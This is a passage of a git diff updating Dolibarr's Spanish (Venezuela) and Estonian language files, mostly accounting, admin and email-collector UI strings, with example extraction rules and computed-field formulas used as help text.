a/htdocs/langs/es_VE/admin.lang +++ b/htdocs/langs/es_VE/admin.lang @@ -31,5 +31,3 @@ WatermarkOnDraftSupplierProposal=Marca de agua en solicitudes de precios a prove LDAPMemberObjectClassListExample=Lista de ObjectClass que definen los atributos de un registro (ej: top,inetOrgPerson o top,user for active directory) LDAPUserObjectClassListExample=Lista de ObjectClass que definen los atributos de un registro (ej: top,inetOrgPerson o top,user for active directory) LDAPContactObjectClassListExample=Lista de objectClass que definen los atributos de un registro (ej: top,inetOrgPerson o top,user for active directory) -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      diff --git a/htdocs/langs/es_VE/compta.lang b/htdocs/langs/es_VE/compta.lang index b94bc90d190..a502597e79c 100644 --- a/htdocs/langs/es_VE/compta.lang +++ b/htdocs/langs/es_VE/compta.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - compta +AccountingCredit=Haber LT1SummaryES=- LT2SummaryES=Balance de ISLR LT1PaidES=- diff --git a/htdocs/langs/es_VE/donations.lang b/htdocs/langs/es_VE/donations.lang new file mode 100644 index 00000000000..a79a3594d5d --- /dev/null +++ b/htdocs/langs/es_VE/donations.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - donations +FreeTextOnDonations=Texto libre a mostrar a pié de página diff --git a/htdocs/langs/es_VE/hrm.lang b/htdocs/langs/es_VE/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_VE/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_VE/install.lang b/htdocs/langs/es_VE/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_VE/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_VE/mails.lang b/htdocs/langs/es_VE/mails.lang new file mode 100644 index 00000000000..37566920b0c --- /dev/null +++ b/htdocs/langs/es_VE/mails.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - mails +MailFrom=Emisor +MailTo=Hacia diff --git a/htdocs/langs/es_VE/main.lang b/htdocs/langs/es_VE/main.lang index 55e67bea58a..bbb458384d7 100644 --- a/htdocs/langs/es_VE/main.lang +++ b/htdocs/langs/es_VE/main.lang @@ -19,6 +19,7 @@ FormatDateHourShort=%d/%m/%Y %H:%M FormatDateHourSecShort=%d/%m/%Y %H:%M:%S FormatDateHourTextShort=%d %b %Y %H:%M FormatDateHourText=%d %B %Y %H:%M +OpenVerb=Abierta DateEnd=Fecha finalización AmountLT1ES=Importe de retención AmountLT2ES=Importe ISLR diff --git a/htdocs/langs/es_VE/stripe.lang b/htdocs/langs/es_VE/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_VE/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/et_EE/accountancy.lang b/htdocs/langs/et_EE/accountancy.lang index 78e4226468b..9c12b91c36f 100644 --- a/htdocs/langs/et_EE/accountancy.lang +++ b/htdocs/langs/et_EE/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Dokumendi tüüp Docdate=Kuupäev @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Aasta järgi NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Müügid AccountingJournalType3=Ostud AccountingJournalType4=Pank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Eksportimise mudel @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/et_EE/admin.lang b/htdocs/langs/et_EE/admin.lang index 3ca9ddef1cc..6cbe6855f5e 100644 --- a/htdocs/langs/et_EE/admin.lang +++ b/htdocs/langs/et_EE/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Moodul %s peab olema sisse lülitatud. WarningOnlyPermissionOfActivatedModules=Antud lehel näidatakse vaid aktiivsete moodulitega seotud õigusi. Teisi mooduleid saab aktiveerida Kodu->Seadistamine->Moodulid lehel. DolibarrSetup=Dolibarri paigaldamine või uuendamine -InternalUser=Sisemine kasutaja -ExternalUser=Väline kasutaja InternalUsers=Sisemised kasutajad ExternalUsers=Välised kasutajad UserInterface=User interface @@ -147,6 +145,7 @@ Box=Vidin Boxes=Vidinad MaxNbOfLinesForBoxes=Vidinate maksimaalne ridade arv AllWidgetsWereEnabled=Kõik saadaval vidinad on lubatud +WidgetAvailable=Widget available PositionByDefault=Vaikimisi järjestus Position=Ametikoht MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Testi HTMLi saatmist ErrorCantUseRazIfNoYearInMask=Viga: ei saa kasutada seadet @ iga aasta alguses loenduri nullimiseks kui jada {yy} or {yyyy} ei sisaldu maskis. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Viga: ei saa kasutada võimalust @, kui maskis ei sisaldu jada {yy} {mm} või {yyyy} {mm}. UMask=Umask parameeter uute failide loomiseks Unix/Linux/BSD/Mac failisüsteemidel. -UMaskExplanation=See parameeter võimaldab määratleda Dolibarri poolt loodud failide vaikimise õigused (näiteks üleslaadimise ajal)
      See peab olema kaheksandsüsteemi väärtus (nt 0666 tähendab lubada kõigile lugemise ja kirjutamise õigused)
      Windows serveris seda parameetrit ei kasutata. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Vaadake Wiki lehekülge, kus on nimekiri osalejatest ja nende organisatsioonist UseACacheDelay= Eksportimise vastuse vahemällu salvestamise viivitus (0 või tühi vahemälu mitte kasutamiseks) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unikaalne Boolean=Tõeväärtus (üks märkeruut) ExtrafieldPhone = Telefon ExtrafieldPrice = Hind +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-post ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Valikute nimekiri ExtrafieldSelectList = Vali tabelist ExtrafieldSeparator=Eraldaja (mitte väli) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Märkeruudud ExtrafieldCheckBoxFromList=Märkeruudud tabelist ExtrafieldLink=Viide objektile ComputedFormula=Arvutatud väli -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
